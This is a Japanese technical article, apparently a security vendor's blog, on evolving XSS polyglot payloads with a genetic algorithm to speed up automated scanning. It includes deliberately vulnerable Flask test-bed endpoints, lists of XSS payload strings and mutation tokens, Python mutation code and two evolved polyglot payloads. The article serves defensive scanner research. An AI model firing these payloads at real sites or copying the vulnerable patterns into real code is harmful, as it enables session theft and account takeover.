遺伝的アルゴリズムで人間を超えるXSSポリグロットペイロードを見つける
遺伝的アルゴリズムを活用して、人間を超える性能のXSSポリグロットペイロードを生成する方法を技術的に掘り下げて解説します。
概要
本記事では、遺伝的アルゴリズムを活用して人間を超える性能のXSSポリグロットペイロードを生成する方法を技術的に掘り下げて解説します。
まずXSS脆弱性を検出することの重要性と、実際のアプリケーションを現実的な時間内で網羅的にテストするうえで自動化ソリューションが直面する課題を取り上げ、続いて遺伝的アルゴリズムを用いたポリグロットペイロードの生成について技術的に詳しく説明します。
最後のパートでは、生成されたペイロードの例を示し、今後の改善点について考察します。
クロスサイトスクリプティング(XSS)
クロスサイトスクリプティング(XSS)は、Webアプリケーションに影響する脆弱性クラスです。CordovaやIonicのようなJavaScriptのマルチプラットフォームフレームワークで構築されたモバイルアプリケーションや、ブラウザーを組み込んだアプリケーションも対象になります。

Hacker Oneの「Trends and Security report」によると、XSSは最も多く報告されている脆弱性です。また、2003年の開始以来、OWASP Top 10のセキュリティリスクにも挙げられています。

XSS脆弱性は広く蔓延しているだけでなく、その影響は深刻な結果をもたらし得ます。たとえば、AWSのようなクラウドコンソールにおけるXSSは、EC2インスタンスでのリモートコード実行(RCE)につながる可能性があります。Google PlayストアにおけるXSSは、標的となったユーザーのモバイル端末への悪意あるアプリケーションのインストールにつながる可能性があります。
XSSは、国家の支援を受けた攻撃者や犯罪組織によって、反体制派や内部告発者の所在地を追跡したり、実際の身元を暴いたりするためにも使われてきました。
出典:
同時に、XSSの悪用は検知が困難です。WAFやRASPのような防御ソリューションは効果が薄く、既知のバイパスが蔓延していたことから、Chrome XSS Auditorは最終的に非推奨となりました。
XSSはよくある脆弱性であるだけでなく、その影響は壊滅的になり得るうえ、実際の悪用を検知するのは困難です。
XSSを見つける
XSSにはさまざまな形態があります。反射型XSS、持続型XSS、DOMベースのXSS、postMessageベースのXSSなどです。
XSSの入力は、パス、パラメーター、URLフラグメント、Cookie、Refererから来る可能性があります。親フレームや子iframeから注入されることもあります。
JavaScriptという言語の高度に動的な性質のため、XSS脆弱性を検出する静的なアプローチが効果を発揮することはまれです。この問題は、パフォーマンスや難読化のためにこの言語の動的な性質を利用するJavaScriptのトランスパイラー、ミニファイアー、アグリファイアーによってさらに悪化します。

XSS脆弱性を特定する最も効果的な方法は動的解析であり、trusted-typesによるテイント追跡、関数フック、低レベルのChrome文字列トレースなど、さまざまな形態の実行トレースによってさらに強化できます。
動的解析によるXSSの検出はシンプルです。注入の成功を示すコールバックを発火させる、実際に動作するペイロードを注入するだけです。
動的検出
OstorlabのXSSの実装は、XSSのレンダリングとテストにChromeを利用しています。本格的なブラウザーを使うことで、React、Angular、Vue.jsなどのフレームワークで構築されたSPA(シングルページアプリケーション)のような、JavaScriptを多用するアプリケーションをそのままサポートできます。
Chromeはヘッドレスモードで起動され、人間向けの一部機能や、解析結果に影響し得る一部のセキュリティ機能を無効化するなど、パフォーマンス最適化のための長いフラグのリストが渡されます。
以下は、Chromeに渡すフラグの例です。
'--no-default-browser-check',
'--no-first-run',
'--disable-client-side-phishing-detection',
'--disable-component-extensions-with-background-pages',
'--disable-default-apps',
'--disable-extensions',
'--mute-audio',
'--disable-background-timer-throttling',
'--disable-backgrounding-occluded-windows',
'--disable-features=ScriptStreaming',
'--disable-hang-monitor',
'--disable-ipc-flooding-protection',
'--disable-notifications',
'--disable-popup-blocking',
'--disable-prompt-on-repost',
'--disable-renderer-backgrounding',
'--js-flags=--random-seed=XXXXX,
'--use-gl=swiftshader',
'--disable-background-networking',
'--disable-breakpad',
'--disable-component-update',
'--disable-domain-reliability',
'--disable-sync',
'--metrics-recording-only'
Chromeが起動すると、多数のテストセッションが同時に開始され、対象の各入力にペイロードを注入します。
ペイロードは<svg onload={callback}>のようなものです。
コールバックには複数の実装があります。サーバーにリクエストを送るJavaScript関数の場合もあれば、アラートボックスやコンソールメッセージの場合もあります。
Ostorlabの実装は、XSSの存在を通知するためにコンソールイベントを利用しています。他のアプローチでは、コールバックに何らかのJavaScriptロジックを詰め込むと、コードが巻き上げられてJavaScriptのキューの末尾に追加されてしまうといった癖が見られました。
キューは通常、XSSファザーが引き起こすイベントで過負荷の状態にあり、キューを完全に消化する前にページを離れると、XSSを見逃す原因になり得ます。
コンソールメッセージはChromeから直接送信され、Chrome Debug Protocolを使って傍受できます。
ただし、コンソールはより強力な後継機能に置き換えられて非推奨となりました。後継機能では、待望のスタックトレース機能が提供されています。
100万ペイロードのジレンマ
XSSの動的テストのアキレス腱は、100万ペイロードのジレンマです。
XSSはクライアントサイドのさまざまなコンテキストで発生します。aタグ、divタグ、属性の中、その内容の中で発生する可能性があります。サイズ制限や文字制限がある場合もあれば、特殊なJSONオブジェクトの注入によって引き起こされる場合もあります。
以下はXSSのコンテキストの例です。
@app.route("/test_bed/html_element")
def test_bed_html_element():
return '''<div>{inject}</div>'''
@app.route("/test_bed/js_html_element")
def test_bed_js_html_element():
return '''
<div id='elmtId'></div>
<script>
window.onload = () => { {
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').innerHTML = payload;
}}
</script>'''
@app.route("/test_bed/html_attribute_value_double_quoted")
def test_bed_html_attribute_value_double_quoted():
return '''<div class="{inject}">content</div>'''
@app.route("/test_bed/html_attribute_value_single_quoted")
def test_bed_html_attribute_value_single_quoted():
return '''<div class='{inject}'>content</div>'''
@app.route("/test_bed//html_attribute_value_not_quoted")
def test_bed_html_attribute_value_not_quoted():
return '''<div class={inject}>content</div>'''
@app.route("/test_bed/html_attribute_name")
def test_bed_html_attribute_name():
return '''<div {inject}='class'>content</div>'''
@app.route("/test_bed/script_element")
def test_bed_script_element():
return '''<script>{inject}</script>'''
@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
return '''
<script id='elmtId'></script>
<script>
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').innerHTML = payload;
</script>'''
@app.route("/test_bed/script_element")
def test_bed_script_element():
return '''<script>{inject}</script>'''
@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
return '''
<script id='elmtId'></script>
<script>
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').innerHTML = payload;
</script>'''
@app.route("/test_bed/script_double_quoted")
def test_bed_script_double_quoted():
return '''<script>var hello="{inject}";</script>'''
@app.route("/test_bed/script_single_quoted")
def test_bed_script_single_quoted():
return '''<script>var hello='{inject}';</script>'''
@app.route("/test_bed/iframe_src")
def test_bed_iframe_src():
return '''<iframe src="{inject}"></iframe>'''
@app.route("/test_bed/js_iframe_src")
def test_bed_js_iframe_src():
return '''
<iframe id='elmtId'></iframe>
<script>
const payload = decodeURIComponent(window.location.hash.substr(1));
document.getElementById('elmtId').setAttribute('src', payload);
</script>'''
@app.route("/test_bed/html_comment")
def test_bed_html_comment():
return '''<!-- {inject} -->'''
@app.route("/test_bed/textarea_element")
def test_bed_textarea_element():
return '''<textarea>{inject}</textarea>'''
問題の規模を理解するために、簡単な計算をしてみましょう。
30の注入コンテキストをテストしたいとします(Ostorlabのテストベッドには50を超える注入コンテキストがあり、今も追加し続けています)。また、注入ポイントは平均して20か所だけテストするとします。
- パス
/{here}/{here2}/{here3} - URL引数
/a/b/c?q={here}&{here}=test - フラグメント
a/b/c#{here} - Cookie
Cookile: {here}={here} - ヘッダー
{here}: {here}\r\n - ボディパラメーター
{here}={here}&{here}={here} - Referer
Referer: {here} - 親iframeからの注入
そして、すべてのページをテストしたいとします。UberのようなWebアプリケーションは、認証不要の部分だけで120kを超えるページがあり、INGのような銀行の企業サイトには7kを超えるページがあります。
高いQPS(Queries Per Second)を処理できるWebサイトに対して、高性能な並列VMでテストした場合は次のようになります。
- 30のペイロード
- 20の注入ポイント
- 読み込み、実行、クリックイベントの発火、コールバックの実行を含め、1テストあたり20秒
- 100の並列インスタンス
Uberのテストでは72Mのペイロードが必要となり、完了までに166日かかります。INGでは4.2 Mのリクエストが必要となり、完了までに9日かかります。

すべてのページで、すべての入力に対して、すべての脆弱性を、すべてのコンテキストを網羅してテストするには数百万のリクエストが必要であり、完了までに数週間とは言わないまでも数日を要します。
ポリグロットペイロード
アプリケーションを網羅的にテストするのに必要なリクエスト数を減らすには、複数の注入コンテキストを単一のペイロードにまとめることが魅力的な最適化となります。
たとえば、30のコンテキストを単一のペイロードに置き換えれば、Uberではテスト期間を166日から5日に、INGでは9日から7時間に短縮できます。
ポリグロットペイロードはセキュリティテスターの間ではよく知られたテーマであり、最も性能の高いペイロードを作る競争も行われています。

オンラインではすでに非常に優れたペイロードが公開されていますが、これらのペイロードには最新のJavaScriptフレームワークのコンテキストやモバイルのコンテキストが欠けています。
公開されているペイロードのもう一つの問題は、単一のリクエストでカバレッジを最大化するという問題を解いている点です。しかし、いくつかのコンテキストは互いに両立しないため、完全なカバレッジを得るには少なくとも2つのペイロードが必要であり、公開されているペイロードはこの点に取り組んでいません。
これらのペイロードの作成は難しく時間のかかる問題であり、特定のペイロードがなぜ機能するのかを推論するのが非常に難しいことから、魔術になぞらえる人もいます。
ポリグロットペイロードを作成する利点と課題を踏まえると、その作成を自動化できるでしょうか。そして既存のペイロードを上回ることはできるでしょうか。
ペイロードの自動生成
ポリグロットペイロードの作成を自動化するにあたり、思い浮かんだ解決策が遺伝的アルゴリズムです。
創造的な入力生成に遺伝的アルゴリズムを使うことは、セキュリティツールにおいて目新しいものではありません。遺伝的アルゴリズムは、AFLやHonggFuzzなど、すでにいくつかのバイナリファザーの中核を担っています。
American Fuzzy Lopは、極めてシンプルでありながら非常に堅牢な、計装に導かれる遺伝的アルゴリズムを組み合わせたブルートフォース型のファザーです。エッジカバレッジの変形版を用いることで、プログラムの制御フローにおける微妙で局所的な変化を容易に捉えます。
遺伝的アルゴリズムは、より大きな進化的アルゴリズム(EA)のクラスに属し、自然選択のプロセスに着想を得たものです。遺伝的アルゴリズムは、突然変異、交叉、選択といった生物学に着想を得た演算子を用いて、最適化問題や探索問題に対する高品質な解を生成するために広く使われています。
遺伝的アルゴリズムは実装がシンプルで、解が見つかるか、決められた回数の反復が終わるまで繰り返される反復処理で構成されます。今回の問題に対する実装は次のとおりです。

- 第1フェーズ、集団:各反復は集団から始まります。今回のケースでは、初期集団はテストベッドのすべてのコンテキストをカバーするペイロードのリストです。シンプルで小さなペイロードを使った実験も複数行い、高性能なペイロードを混ぜた実験も行いました。
- 第2フェーズ、評価:このフェーズでは、各ペイロードをテストベッドでテストし、カバーしたテストケースをそれぞれ列挙します。
- 第3フェーズ、選択:最も性能の高いペイロードを見つけます。カバーしたコンテキストの数、ペイロードのサイズ、サイズあたりのコンテキスト数の重み付き比率など、さまざまな選択基準を使って行えます。
- 第4フェーズ、突然変異と交叉:既存の集団から新しい集団を生成します。トークンの注入、文字の反転、切り詰め、部分的な連結などの一連の変換です。
アルゴリズムの各ステップの正確な式を見つけ出すのは、試行錯誤のプロセスでした。
テストベッド
テストベッドは、DOMベース、反射型、格納型、postMessageなど、さまざまな種類のXSSを表す脆弱なエンドポイントの集合で構成されています。テストベッドは、URLエンコードやHTMLエスケープなど、さまざまな種類の入力操作を実装しており、さまざまな種類の注入ポイントをサポートしています。
各コンテキストには、出現頻度に基づいて重みが割り当てられました。重みは、XSSを専門とする人々の意見をもとに割り当てました。
初期集団
異なる初期集団のセットを使って、複数の実験を行いました。
既知の高性能なペイロードを使った場合、他のコンテキストを含むように素早く改善されることが多い一方で、局所最大値ですぐに停滞してしまいました。
カバレッジの限られたシンプルなペイロードを使った場合は、より高性能なペイロードへの収束は遅かったものの、その成果は斬新で予想外のものでした。
_PAYLOADS = (
"<svg/onload={callback}//>",
"\" onclick={callback} a=\"",
"' onclick={callback} a='",
"a onclick={callback} ",
"'><svg onload={callback}><b id='",
"--><svg/onload={callback}//>",
"</textarea><svg/onload={callback}//>",
"</title><svg/onload={callback}//>",
"</style><svg/onload={callback}//>",
"*/</style><svg/onload={callback}//><style>/*",
"{callback};",
"\"-{callback}-\"",
"'-{callback}-'",
"</script><script>{callback};",
"%0a{callback};",
"*/{callback};/*",
"*/{callback};/*",
"{callback}",
"\\x3csvg onload={callback}\\x3e",
"a/;{callback};//",
"a onclick={callback} ",
"a\" onclick={callback} a=\"",
"a' onclick={callback} a='",
"javascript:{callback}",
"';{callback};//",
"\";{callback};//",
"`;{callback}//",
"<svg onload={callback}>",
'''"'-function(){ {{callback} }}()-">\"><scrIpt>{callback}</scrIpt><aUdio src=x oNerror={callback}><"-'-function(){ {{callback} }}()"''',
'''jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk={callback} )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd={callback}//>\x3e''',
)
選択
選択フェーズでは、新しい集団の生成に用いる最も適応度の高い要素を選びます。
最も短いペイロードを選ぶ、カバーするコンテキストの数に基づいて最も性能の高いものを選ぶ、ペイロードのサイズを考慮に入れるなど、さまざまな適応度関数で複数の実験を行いました。各ペイロードのスコアの算出には、コンテキストの重みを使用しました。
結果として、単純な適応度アルゴリズムの性能は低く、複数の要素を組み込んだ関数のほうがより良い解をもたらしました。
交叉と突然変異
交叉と突然変異の操作は、この問題に合わせて調整しました。たとえば、拡張ステップで使うトークンのリストを作成しました。
刈り込みと交叉では、コールバックの位置に影響を与えないよう慎重に配慮しました。
使用した突然変異はシンプルなままでしたが、斬新な解を生成するのに効果的であることが分かりました。
TOKENS = (
';',
',',
'/',
'/*',
'"',
'\'',
'//',
'*/',
'/**/',
'javascript:',
'-',
'`',
' ',
'(',
')',
'</',
'\n',
'%0D%0A',
'a',
'style',
'button',
'title',
'template',
'input',
'title',
'textarea',
'script',
'iframe',
'frameset',
'noscript',
'noembed',
'template',
'svg',
'audio',
'video',
'source',
'<!--',
'-->',
'\x3c',
'\x3e',
'{callback}',
'onload=',
'onerror=',
'href=',
'formaction=',
'src=',
'onfocus=',
'onblur=',
'poster=',
'autofocus',
'srcdoc=',
'function(){ {{callback} }}()',
'()=>{callback}',
)
def _mutate_with_evolution(self):
for individual in self._population:
for _ in range(self._repeated_extra_tokens):
extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
self._new_population.add(individual + ''.join(extra_tokens))
extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
self._new_population.add(''.join(extra_tokens) + individual)
def _mutate_with_flips(self):
for individual in self._population:
separations = re.split('{callback}', individual)
separation = random.choice(separations)
if separation:
self._new_population.add(individual.replace(separation, random.choice(TOKENS), 1))

突然変異と交叉のステップでは、サイズ制限を超えたものなど、一部のペイロードは破棄されました。
遺伝的アルゴリズムの欠点は、過去の結果を再現するのが難しいことです。突然変異と交叉の操作に含まれるランダム性によって、実験のたびに異なる結果が生まれます。実験を再現可能にするには、すべての乱数関数に保存しておいた値でシードを与える必要があります。
結果
以下は高性能なペイロードの例です。1つ目は、既知の高性能なペイロードをシードに使い、それをわずかに改善したものです。2つ目はシンプルなペイロードから生成されたものです。
一部のペイロードは、SVGタグの中に別のSVGタグを埋め込んでもJavaScriptのコールバックが発火するといった、Chromeブラウザーの知られていない挙動を利用しています。
javascript:{callback}//*/javascript:javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload={callback}onload={callback}//><svg onload={callback}><svg onload={callback}>*/</style><script>{callback}</script><style>
-{callback}//</style><svg/onload={callback}//>/**/{callback}//("-{callback}-"///,\'-{callback}-\'--><svg/onload={callback}>\\x3csvg onload={callback}\\x3e</textarea><svg/onload={callback}//>/**/{callback}//</script><script>{callback}//function(){ {{callback} }}()*/{callback}--><svg/onload={callback}//>
今後の展望
このアプローチをXSSフィルターに対して用いたところ有望な結果が得られましたが、適応度関数を調整する作業がまだ必要です。
その他の改善領域としては、高性能な解への収束を速めるための適応型遺伝的アルゴリズムの利用や、モンテカルロ木探索の利用の検討があります。
また、このアプローチを、稼働中のアプリケーションに対するファジングという類似の概念に応用することも考えられます。たとえば、{action: ‘render’, payload: ‘injectme’ }のようなカスタム入力を必要とするXSS脆弱性を見つけ、テイント追跡をフィードバックループとして使うといったものです。